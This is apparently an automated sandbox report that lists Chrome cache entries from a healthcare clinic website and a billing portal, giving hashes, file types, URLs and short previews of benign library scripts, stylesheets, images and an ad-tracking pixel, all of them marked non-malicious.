SHA1:	D3FA2564C021CF730E58FFDDB138CF6B57ED126E
SHA-256:	81016AC6BE850B72DF5D4FAA0C3CEC8E2C1B0BA0045712144A6766ADFAD40BEE
SHA-512:	23C162A2E268951729B580E5035AD6CA9969CFCC5CE58A220817B912E76B38BE6C29C3CA7680CB4E8198863D95A72EA65BD06FF7189B5C8475E4C1CE501AEAB1
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/webfont/1.6.26/webfont.js
Preview:	/. Copyright 2016 Small Batch, Inc.. . Licensed under the Apache License, Version 2.0 (the "License"); you may not. * use this file except in compliance with the License. You may obtain a copy of. * the License at. . http://www.apache.org/licenses/LICENSE-2.0. . Unless required by applicable law or agreed to in writing, software. * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT. * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the. * License for the specific language governing permissions and limitations under. * the License.. /./ Web Font Loader v1.6.26 - (c) Adobe Systems, Google. License: Apache 2.0 */(function(){function aa(a,b,c){return a.call.apply(a.bind,arguments)}function ba(a,b,c){if(!a)throw Error();if(2<arguments.length){var d=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,d);return a.apply(b,c)}}return function(){return a.app

Chrome Cache Entry: 615

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.928019308351512
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKSbtQP5mwjWaee:PLKdXNQK+QP51L
MD5:	C193745DEB63FE67F3AA6B578C40DD99
SHA1:	8A3ECC2696074E71D3B011C99B98CB25229E1A31
SHA-256:	D41E076366E4207D57A5FD1725C2024F751C43AE4A3A8E93CC46DFB8462A3E5B
SHA-512:	A2FD9573CF80C9D14F9DCEAA1940407E88F7B35BDD01B1FF34891929DC5528A134E851B29CC2205EF8CE5F81A8DFAFED5D7A6A93A304C7B8844981844BA73A8E
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js');

Chrome Cache Entry: 616

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	838
Entropy (8bit):	4.670822471754643
Encrypted:	false
SSDEEP:	24:2b7Ksen60AfVXF2ACfiVSApbE3zWlSabWH:C0A1gfMhG36YkWH
MD5:	49CEA0A781874A962879C2CACA9BC322
SHA1:	72C1650DE2B93EF320D2DB873FBB473FE360269C
SHA-256:	57A50C99A31EF4E89E86664E96F6DFBDDE163A2EB96E88B3B492C49AA4BE2F37
SHA-512:	7EBF5DA4637794CDAB0D199E8B0550E9230A1550804A4CE7FC723A8881E16D12327B9C40BCEECFF54ECE29DDE71BF41E63E8510ADF0827C4CD13C2392E6250A6
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/Valley-Pro-Calculator/public/js/valley-pro-calculator-public.js?ver=1.0.0
Preview:	(function( $ ) {..'use strict';.../*.. All of the code for your public-facing JavaScript source.. * should reside in this file... .. Note: It has been assumed you will write jQuery code here, so the.. * $ function reference has been prepared for usage within the scope.. * of this function... .. This enables you to define handlers, for when the DOM is ready:.. .. $(function() {.. .. });.. .. When the window is loaded:.. .. $( window ).load(function() {.. .. });.. .. ...and/or other possibilities... .. Ideally, it is not considered best practise to attach more than a.. * single DOM-ready or window-load handler for a particular page... * Although scripts in the WordPress core, Plugins and Themes may be.. * practising this, we should strive to set a better example in our own work... */..})( jQuery );.

Chrome Cache Entry: 617

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	594785
Entropy (8bit):	7.977324924860198
Encrypted:	false
SSDEEP:	12288:38zS7hyPzCilAh6RqqbcGj++tmiTAktQBFr+g+zPc2kOo:380y9ASqqbx3k/yQvr+NkOo
MD5:	2475CA4FF0FB13F0D258CDFC1396085F
SHA1:	2A3AB18303112AEFD0E99F81D032E3FA31A59F8E
SHA-256:	D16716A627C82AFD3FBBE9F0AD39CD2738C38B5027DA1D6266605EB9EFEF84B2
SHA-512:	09D2F9F154EFF0AC6D412BD090F17CE222B7CF810BA2C3C4D3F53473C58B40FB7CC3F1AC8F6ED798DA754E702504A01E1D6E8CD557BE0624EF8C67D02E648521
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......M.n....pHYs...#...#.x.?v.. .IDATx...o._.y......B...cK[0..\.........M0v.]l..H@I.b.5..D.mRA.....0b.2..h..l.._.Za.&.d.0.........q.\E..<..y...L....\G..w..=..............`.p.......................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,..................................H..........` .,...............

Chrome Cache Entry: 618

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	19885
Entropy (8bit):	3.9222851246917934
Encrypted:	false
SSDEEP:	384:Rld9R09SIx5kGzS75yROkDsoWV26OsNC3vQnSpTmSZDuS2flVWp:TdTESIx5MSoHV2qNk7/DuS2dVWp
MD5:	DE0444852A7B6BD2C15C6EF32A94FE4B
SHA1:	062A19A7DEC1FE09DF6EB4386A12BAF9EEF5CB66
SHA-256:	39CDEA051E5DC16A04531E6666E19FD407625D6A1F6F19E8107459EB23E0B0A7
SHA-512:	686E994D2447C4432301A04D39094060E0945358F01E3FFBC8587C584EFBF5B64F31A618725C32409D2823DAEC6AE08B2082C4B954486916B64B0986CFB2E94F
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="utf-8"?>.<svg width="327" height="54" viewBox="0 0 327 54" fill="none" xmlns="http://www.w3.org/2000/svg">..<title>Icon Logo</title>.<path fill-rule="evenodd" clip-rule="evenodd" d="M21.0706 17.7707C21.0706 8.21373 28.818 0.466309 38.3749 0.466309C47.9319 0.466309 55.6793 8.21373 55.6793 17.7707C55.6793 27.3276 47.9319 35.075 38.3749 35.075C28.818 35.075 21.0706 27.3276 21.0706 17.7707ZM49.4485 17.7707C49.4485 11.6549 44.4907 6.69708 38.3749 6.69708C32.2592 6.69708 27.3014 11.6549 27.3014 17.7707C27.3014 23.8864 32.2592 28.8442 38.3749 28.8442C44.4907 28.8442 49.4485 23.8864 49.4485 17.7707Z" fill="#2D4590"/>.<path fill-rule="evenodd" clip-rule="evenodd" d="M0.961548 17.7707C0.961548 8.21373 8.70897 0.466309 18.2659 0.466309C27.8228 0.466309 35.5703 8.21373 35.5703 17.7707C35.5703 27.3276 27.8228 35.075 18.2659 35.075C8.70897 35.075 0.961548 27.3276 0.961548 17.7707ZM29.3395 17.7707C29.3395 11.6549 24.3817 6.69708 18.2659 6.69708C12.1501 6.69708 7.19232 11

Chrome Cache Entry: 619

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (589)
Category:	downloaded
Size (bytes):	938
Entropy (8bit):	5.502464143268803
Encrypted:	false
SSDEEP:	12:XqJmW/m26qvfNV4NbxTHQuqJmrtr1WILZY64IBTxnJyN0cfMpNrl/nT4IBTxSL8G:si2N1V4NxwZG1jp5yCdD/5bBfWwlvPdY
MD5:	C8107C6896A5FE970E42749B99A36750
SHA1:	7799D7A396E35B68E258CB8806F1DF0179FF390A
SHA-256:	5191F0FC955942C842A2B97B0B809CA33E19DBB8B334A74E97C30A7846EEF97E
SHA-512:	6DF8424B20A95E27151333D36288F04861F701AD2777F8EFCB86B32966BAE0F376FA45060B33CC3F22EE1490BEBEFE37B667CD9A6F484F5E0909130979BF8366
Malicious:	false
Reputation:	low
URL:	https://match.adsrvr.org/track/upb/?adv=3l6d758&ref=http%3A%2F%2Fvalleyprohealth.org%2F&upid=6su09yz&upv=1.1.0
Preview:	.<html>.<head>. <script type="text/javascript" src="https://js.adsrvr.org/universal_pixel.1.1.0.js"></script>.</head>.<body>. <div id="universalPixelContainer">. <script type="text/javascript">. (function(global) { . var ttdcm = new TTDCM(); . ttdcm.init( ["https://pixel.rubiconproject.com/tap.php?v=8981&nid=2307&put=69c771e8-c390-4607-a64f-75376e6bf1de&gdpr=0&gdpr_consent=&expires=30&next=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Frubicon","https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de","https://cm.g.doubleclick.net/pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=NjljNzcxZTgtYzM5MC00NjA3LWE2NGYtNzUzNzZlNmJmMWRl&gdpr=0&gdpr_consent=&ttd_tdid=69c771e8-c390-4607-a64f-75376e6bf1de"] );. })(this);. </script>. </div>.</body>.</html>

Chrome Cache Entry: 620

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (4358)
Category:	downloaded
Size (bytes):	5520
Entropy (8bit):	5.07877659735423
Encrypted:	false
SSDEEP:	96:PwSrH5hrG6Qpw1rIN2Bkqsu6B89w1y+7Y3qv5StcXyuC0r4oYeTnf49uVhWWTfju:PwSrq6Qpw1rI2k1u6i9woa3hSSCP9+XC
MD5:	6823120876C9AFC8929418C9A6F8E343
SHA1:	90B0ADB37D70FFEC5F9189C36BB0027C310C9502
SHA-256:	B65B3DE1BC923B9355248A0D941A0EAEE15DFB9A6B8EADB51323A8DF6189DCD1
SHA-512:	63D84226815C831245754ADB30040EE72DCF218D01F991A5619675374BBE3B706E3721D32F5120D9D27E500813E8214244992B3875B3A7E7E4BC7DED5201183A
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-includes/js/imagesloaded.min.js?ver=5.0.0
Preview:	/! This file is auto-generated /./!. imagesLoaded PACKAGED v5.0.0. * JavaScript is all like "You images are done yet or what?". * MIT License. */.!function(t,e){"object"==typeof module&&module.exports?module.exports=e():t.EvEmitter=e()}("undefined"!=typeof window?window:this,(function(){function t(){}let e=t.prototype;return e.on=function(t,e){if(!t\|\|!e)return this;let i=this._events=this._events\|\|{},s=i[t]=i[t]\|\|[];return s.includes(e)\|\|s.push(e),this},e.once=function(t,e){if(!t\|\|!e)return this;this.on(t,e);let i=this._onceEvents=this._onceEvents\|\|{};return(i[t]=i[t]\|\|{})[e]=!0,this},e.off=function(t,e){let i=this._events&&this._events[t];if(!i\|\|!i.length)return this;let s=i.indexOf(e);return-1!=s&&i.splice(s,1),this},e.emitEvent=function(t,e){let i=this._events&&this._events[t];if(!i\|\|!i.length)return this;i=i.slice(0),e=e\|\|[];let s=this._onceEvents&&this._onceEvents[t];for(let n of i){s&&s[n]&&(this.off(t,n),delete s[n]),n.apply(this,e)}return this},e.allOff=function(){return d

Chrome Cache Entry: 621

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2343)
Category:	downloaded
Size (bytes):	52916
Entropy (8bit):	5.51283890397623
Encrypted:	false
SSDEEP:	768:oHzaMKHBCwsZtisP5XqYofL+qviHOlTjdNoVJDe6VyKaqgYUD0ZTTE8yVfZsk:caMKH125hYiM8O9dNoVJ3N48yVL
MD5:	575B5480531DA4D14E7453E2016FE0BC
SHA1:	E5C5F3134FE29E60B591C87EA85951F0AEA36EE1
SHA-256:	DE36E50194320A7D3EF1ACE9BD34A875A8BD458B253C061979DD628E9BF49AFD
SHA-512:	174E48F4FB2A7E7A0BE1E16564F9ED2D0BBCC8B4AF18CB89AD49CF42B1C3894C8F8E29CE673BC5D9BC8552F88D1D47294EE0E216402566A3F446F04ACA24857A
Malicious:	false
Reputation:	low
URL:	https://www.google-analytics.com/analytics.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0./.var n=this\|\|self,p=function(a,b){a=a.split(".");var c=n;a[0]in c\|\|"undefined"==typeof c.execScript\|\|c.execScript("var "+a[0]);for(var d;a.length&&(d=a.shift());)a.length\|\|void 0===b?c=c[d]&&c[d]!==Object.prototype[d]?c[d]:c[d]={}:c[d]=b};function q(){for(var a=r,b={},c=0;c<a.length;++c)b[a[c]]=c;return b}function u(){var a="ABCDEFGHIJKLMNOPQRSTUVWXYZ";a+=a.toLowerCase()+"0123456789-_";return a+"."}var r,v;.function aa(a){function b(k){for(;d<a.length;){var m=a.charAt(d++),l=v[m];if(null!=l)return l;if(!/^[\s\xa0]*$/.test(m))throw Error("Unknown base64 encoding at char: "+m);}return k}r=r\|\|u();v=v\|\|q();for(var c="",d=0;;){var e=b(-1),f=b(0),h=b(64),g=b(64);if(64===g&&-1===e)return c;c+=String.fromCharCode(e<<2\|f>>4);64!=h&&(c+=String.fromCharCode(f<<4&240\|h>>2),64!=g&&(c+=String.fromCharCode(h<<6&192\|g)))}};var w={},y=function(a){w.TAGGING=w.TAGGING\|\|[];w.TAGGING[a]=!0};var ba=Array.isArray,c

Chrome Cache Entry: 622

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	7158
Entropy (8bit):	5.110699926006196
Encrypted:	false
SSDEEP:	96:CuLOk64GeOyhezcdoFpzu3IuZok822sxhEfX3bcnOWaMQjFZNUMZ+RCEdGk4uA6i:CUOkbOVqgppg0M6FZijtdhrxZgIzg
MD5:	A147588316A3C450F2C4B5C395EC665F
SHA1:	C08654D9E70CD70F40100C88613E9FE59DB9DAB1
SHA-256:	2F30E3BA593BA60F507408921208F53724E0EC3F586284C1A048D0BAC5386A8E
SHA-512:	51ED66ED1BADFB133E30F785F521FA055C91D62141EDB069B77626E5F42A2BEB4F6A76AEB685379E2771CB24361B2A0CEFF323F2AFCDD165896248E0DFE3D799
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/user-submitted-posts/resources/jquery.usp.core.js?ver=20240319
Preview:	/* ..User Submitted Posts : Core JS : Version 2.0..@ https://perishablepress.com/user-submitted-posts/.*/.jQuery(document).ready(function($) {....$('.usp-callout-failure').addClass('usp-hidden').hide();..$('#user-submitted-post').on('click', function(e) {...if (usp_recaptcha_disp == 'show' && usp_recaptcha_vers == 3) {....var validate = usp_validate();....e.preventDefault();....grecaptcha.ready(function() {.....grecaptcha.execute(usp_recaptcha_key, { action: 'submit' }).then(function(token) {......$('#recaptcha_response').remove();......$('#usp-submit').prepend('<input type="hidden" name="recaptcha_response" id="recaptcha_response" value="'+ token +'">');......if (validate) $('#usp_form').unbind('submit').submit();.....});;....});...} else {....usp_validate();...}..});..function usp_validate() {...// $('#usp_form').parsley().validate();...if (true === $('#usp_form').parsley().isValid()) {....$('.usp-callout-failure').addClass('usp-hidden').hide();........// remove empty file inputs....

Chrome Cache Entry: 623

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Chrome Cache Entry: 624

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2400 x 2400, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	950718
Entropy (8bit):	7.989159580950237
Encrypted:	false
SSDEEP:	24576:Dbk6Gdu4WiqwLW29CuRfFEedGfobETIbb:DbTGqwK2FfTkoATIbb
MD5:	B7D4347D5F21E56B49E85D2807E78BBE
SHA1:	5EEE30F5AA1E08C44F537B3ADAA09E2CA328FB59
SHA-256:	AC583950F75E1455F12B8E7EDF3EAB1AA851D3EC0F5C87858EE78C51413CBBDD
SHA-512:	C384F4E137DB2B9F7616ED0382C6E3EE78F33AA9ED74935B8A5112630A8FA034CDF38E60C708E35FC83023F94C98BCB350CFF55F3558457D6D167E66B3BD84BC
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...`...`......M.n....pHYs...#...#.x.?v.. .IDATx.....\.}........\.? .7.....6n@.=G..v/...-..`lp.....X......]......ijDH.@.9ga$.p...\+..p.....zW4..=.......?.g..=.^c$......{....:.wQ................................. ..,..............D................................@............... ..p.......^].......n....l..vY...n...88...... ).d........q.O..RjK)uT)uc.y..+{M)u.,.).X.......!..........k...e.N(.......eY.TJ.<t.3........0C..........k.M^U.....0.{..{...X.n..$G.........,.......W.=..:x...).U..V.jM.u..g.p.......\..`......`.y..+..(.n.?.q.i...3.Of.....u.............~............S.n..R..74.iG)u.T..?..;g....k.}..R........;2..................W...........s.l.m.n.x.U.3.O..[.....?.-.O.....9\|...X.nI.y..g>...5........`......=.G...TJ...^..j\U.:..nyr.#a..W.><.....,....a......\..`......=.G..Y.+^=.b..<.s..bQ.k.y..j}.T.V.qY.&..~..qW...}.i................3~t.........Z..NrT..U...\|5R.....a........................{B.r..r4.........?..I.4+L._.M.X....+U...Rm...........~G...

Chrome Cache Entry: 625

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (23966)
Category:	downloaded
Size (bytes):	24138
Entropy (8bit):	5.096569708153791
Encrypted:	false
SSDEEP:	384:Ar7mIr/Dh5rA3rzB4rMhr/XWGHW/6rMz1xftF2OUVP4eAnbhfreD6dCBEOav7blM:+SxxGG2/71xftFqVP4eAnI0ROavPSCzo
MD5:	3B3FC826E58FC554108E4A651C9C7848
SHA1:	76778FD446E2FF2377588A7B4AC4D79F258427C9
SHA-256:	E00ADD38134EAC2FB8E8E9C09CBFFF7BBE57952B210322EB2EECB0A21FC055EB
SHA-512:	AE192D8D804F7DAFD8B7A95220CEB66C0C308A51CDF42C172C20F71F50052E4529B01F8781C5F305E1E0D6C5367D9678F1D908EE4273DB594FBB650C56A9F61B
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-includes/js/masonry.min.js?ver=4.2.2
Preview:	/! This file is auto-generated /./!. Masonry PACKAGED v4.2.2. * Cascading grid layout library. * https://masonry.desandro.com. * MIT License. * by David DeSandro. */..!function(t,e){"function"==typeof define&&define.amd?define("jquery-bridget/jquery-bridget",["jquery"],function(i){return e(t,i)}):"object"==typeof module&&module.exports?module.exports=e(t,require("jquery")):t.jQueryBridget=e(t,t.jQuery)}(window,function(t,e){"use strict";function i(i,r,a){function h(t,e,n){var o,r="$()."+i+'("'+e+'")';return t.each(function(t,h){var u=a.data(h,i);if(!u)return void s(i+" not initialized. Cannot call methods, i.e. "+r);var d=u[e];if(!d\|\|"_"==e.charAt(0))return void s(r+" is not a valid method");var l=d.apply(u,n);o=void 0===o?l:o}),void 0!==o?o:t}function u(t,e){t.each(function(t,n){var o=a.data(n,i);o?(o.option(e),o._init()):(o=new r(n,e),a.data(n,i,o))})}a=a\|\|e\|\|t.jQuery,a&&(r.prototype.option\|\|(r.prototype.option=function(t){a.isPlainObject(t)&&(this.options=a.extend(!0,this.optio

Chrome Cache Entry: 626

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	128983
Entropy (8bit):	5.106135158895076
Encrypted:	false
SSDEEP:	768:JFlgVc+2+eI+E+eG+y+eFUOQ0eeY+br+eX:JQc+r+X+CUP+x
MD5:	F3BD90ED9190418715605B8AAA05DEBD
SHA1:	5EF128434040CDC17B99048DA8C56287894ED542
SHA-256:	E2FB63EA3B3D832A17E88CE1BDC0EC080117E17F1C9331697C822015E501CB13
SHA-512:	1B3FD80EF7F59AD36961493E9BD415D06FDA61F2073252BFD61048E369F5913193A4A72D8DB23A711E73370E09AEC05E78B0A364DA225EFBAB387B07DAADC22F
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/google-language-translator/css/style.css?ver=6.0.20
Preview:	#glt-settings.wrap {. max-width:1300px;.}..#glt-settings.wrap:after {. content:'';. display:block;. clear:both;.}..#glt-footer,.#glt-footer #google_language_translator {. display:none !important;.}..#glt-translate-trigger,.#glt-translate-trigger span {. cursor:pointer;.}..#glt-settings .glt-main-settings h3:before {. content:'\f108';.}..#glt-settings .glt-layout-settings h3:before {. content:'\f116';.}..#glt-settings .glt-floating-widget-settings h3:before {. content:'\f134';.}..#glt-settings .glt-behavior-settings h3:before {. content:'\f185';.}..#glt-settings .glt-usage-settings h3:before {. content:'\f106';.}..#glt-settings .glt-preview-settings h3:before {. content:'\f115';.}..#glt-settings .glt-flag-settings h3:before {. content:'\f227';.}..#glt-settings .glt-seo-settings h3:before {. content:'\f11e';.}..#glt-settings .glt-gtranslate-ad h3:before {. content:'\f326';.}..#glt-settings .glt-css-settings h3:before {. content:'\f119';.}..#glt-settings .glt-seo-setting

Chrome Cache Entry: 627

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	5860
Entropy (8bit):	5.300343902553477
Encrypted:	false
SSDEEP:	96:ehU7cW92QmjMz/HOyTuzuOWmtRyTWqF6YVMk19xWipCZWy/Xk4qginDIT:ZcW9lmjuKuvmtRyTWqF6YVMk3ol/9O8
MD5:	32EE0BEAF08D10B9B63868E1B3E8E884
SHA1:	B3FAE20FFF2654F05936E7EC86A436ECF66DC2B3
SHA-256:	5C309F17BF78C791D5199666CDC62AAFC4C93CABC060459EB09A19EFEBF457A0
SHA-512:	654BD7ABBDE2413B3C8A3B44FB3ED6025734AD962EE2DF53C369FBA5CCF0B48FA8C37E9EA6A1FAF866879E4DDD2B3E8789E681F5E2DFB8496D16497704902D0E
Malicious:	false
Reputation:	low
URL:	https://www.healowpay.com/HealowPay/jsp/js/rendor/healow-pay-healow-flow.js
Preview:	..$(document).ready(function () {.....$("#contactNo").mask('999-999-9999');... $('#dob').mask('99/99/9999');...../-- wizard's --/...$(".next-step").click(function (e) {....//debugger;....var $active = $('.three-layer-wizard li.active');....nextTab($active);......var $activeAgain = $('.wizard-wrapper li.active');....nextTab($activeAgain);...});...$(".prev-step").click(function (e) {....//debugger;....var $active = $('.three-layer-wizard li.active');....prevTab($active);......var $activeAgain = $('.wizard-wrapper li.active');....prevTab($activeAgain);...});..});../-- wizard's --/..function nextTab(elem) {...$(elem).next().find('a[data-toggle="tab"]').click();...$(elem).addClass('activex');..}....function prevTab(elem) {...$(elem).prev().find('a[data-toggle="tab"]').click();...$(elem).removeClass('activex');..}....function validateDetails()..{...var stmtCode = document.getElementById("stmtCode").value;...var lastName = document.getElementById("lastName").value;...if((stmtCode==null)\|\|

Chrome Cache Entry: 628

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 550x550, components 3
Category:	downloaded
Size (bytes):	50146
Entropy (8bit):	7.972402165302988
Encrypted:	false
SSDEEP:	768:6xS1VfO9eIjxoH6QHuyTQX+5iey/Xd/WRhTpMgvNNEVaaEv1h5T19+MghSVvQl07:7mgIj+H6IQuRy/deRhFKVU57FuSvD4Z+
MD5:	9C3B858FC617390CFE3DA709439C26CF
SHA1:	CFA941A22F7C69F530EA73052CEB7579F5964F8B
SHA-256:	F8D86F1CC202EBBF6CA458977F6CE7784A6BD089990CE42245F68F2EEBDCC17A
SHA-512:	363BA34B018D14E3C75F8CC142D94B25AEABA879FF321D40AD734E4A245E058877FAB7B87F654F57D72224A25F672684ACECB1386FB57FDBB6ED386316A14BC7
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/uploads/2020/07/img__section-1-550x550.jpg
Preview:	......JFIF.............C.....................................!........'.."#%%%..),($+!$%$...C...........$...$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$......&.&...........................................G..........................!1A.."Qaq.2.#3B...$4Rr...b..C...%c...Sdst..................................5........................!1.A.Q"2a.q.#B...3R.$...b..............?....q.4(..R.F1P....F..........-d.P....@.@8...@..`....1..D.......D. .\|.j.....7...~.....&X..L.....D...I..bU.....q.f.@.'.D.+..ty&7....r..K_S..$q.2.s=.q.1...%...oq...1..TW....aq.]........A.!-..Gr.;.6...c.c...SR4........Y...Tpf_.......;;.._Bq..j....!..b...l.`.OK..a.,..d.$Yi...SV=.7...b.<..I.I.....r...1...VKMP.......L...]v0...V..8#..R.....v...M.....t...N.CK}QaC.LCH..i.........,..J.....F.2Fj{[.R.'..........%TM.........<..?j...V..3.......v..{...6B..].....d......%.{FoI.....&}.....X?...7.NA...m.H..$)....u.\|.. .e%..tq..BY.u..Y.!m..Y.l.K.G.7.T......A[.@.....kl.!@@.h..sF...R..] ...M......1.....

Chrome Cache Entry: 629

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	102
Entropy (8bit):	4.928019308351512
Encrypted:	false
SSDEEP:	3:JSbMqSL1cdXWKQKSbtQP5mwjWaee:PLKdXNQK+QP51L
MD5:	C193745DEB63FE67F3AA6B578C40DD99
SHA1:	8A3ECC2696074E71D3B011C99B98CB25229E1A31
SHA-256:	D41E076366E4207D57A5FD1725C2024F751C43AE4A3A8E93CC46DFB8462A3E5B
SHA-512:	A2FD9573CF80C9D14F9DCEAA1940407E88F7B35BDD01B1FF34891929DC5528A134E851B29CC2205EF8CE5F81A8DFAFED5D7A6A93A304C7B8844981844BA73A8E
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=QoukH5jSO3sKFzVEA7Vc8VgC
Preview:	importScripts('https://www.gstatic.com/recaptcha/releases/QoukH5jSO3sKFzVEA7Vc8VgC/recaptcha__en.js');

Chrome Cache Entry: 630

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (440), with CRLF line terminators
Category:	downloaded
Size (bytes):	52048
Entropy (8bit):	5.221107918855594
Encrypted:	false
SSDEEP:	384:o29D83uRnr4rMD59z80QBJIcohHwiWFYvJesvso+hwtjyO+NPv8v1tguIQ1q0KSi:v8elD/8fIcoQiv40BxvmXaAqFU
MD5:	6EDDC69D741E320DDCDE84EF6A3CEC45
SHA1:	7C36E06BF037361EB390821EC4D385BBBFA90FA2
SHA-256:	29F7252E971B226F2BDC88E5AC4C8C5D6E4FFA169C5A775E669833EF1D401650
SHA-512:	57B960B1FBD271D382D26583B98A6F2CCE7FF53AEAEA0A39CA81C6AACE5659E0220071010AD6B3ECFDE876DD756898056B3FF855CE71ABC3A277633A84969437
Malicious:	false
Reputation:	low
URL:	https://valleyprohealth.org/wp-content/plugins/bt_cost_calculator/jquery.dd.js
Preview:	// MSDropDown - jquery.dd.js..// author: Marghoob Suleman - http://www.marghoobsuleman.com/..// Date: 10 Nov, 2012..// Version: 3.2..// Revision: 21..// web: www.marghoobsuleman.com../..// msDropDown is free jQuery Plugin: you can redistribute it and/or modify..// it under the terms of the either the MIT License or the Gnu General Public License (GPL) Version 2../..var msBeautify = msBeautify \|\| {};..(function ($) {..msBeautify = {...version: {msDropdown:'3.2'},...author: "Marghoob Suleman",...counter: 20,...debug: function (v) {....if (v !== false) {.....$(".ddOutOfVision").css({height: 'auto', position: 'relative'});....} else {.....//$(".ddOutOfVision").css({height: '0px', position: 'absolute'});.....$(".ddOutOfVision").css({height: '0px', position: 'relative'});....}...},...oldDiv: '',...create: function (id, settings, type) {....type = type \|\| "dropdown";....var data;....switch (type.toLowerCase()) {....case "dropdown":....case "select":.....data = $(id).msDropdown(settings).dat

Chrome Cache Entry: 631

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (57196)
Category:	downloaded
Size (bytes):	110147
Entropy (8bit):	4.920389651812489
Encrypted:	false
SSDEEP:	1536:iLeJqf9Zk2u5SOV+UQ3Zo/0kxhdRVrkQzE:iLeJEk2u5SOV+UQ3Zo/0kPdvQQzE
MD5:	0234D0A7685AEFA6FD06041FBD602928
SHA1:	CBCBA60AA82286DD1F877CB8BD5B5CC047F82CE0
SHA-256:	0085ADFD2D08A45F62A06D8F3F969DDC4A94EBE8D226511DB90AA038F11ED180
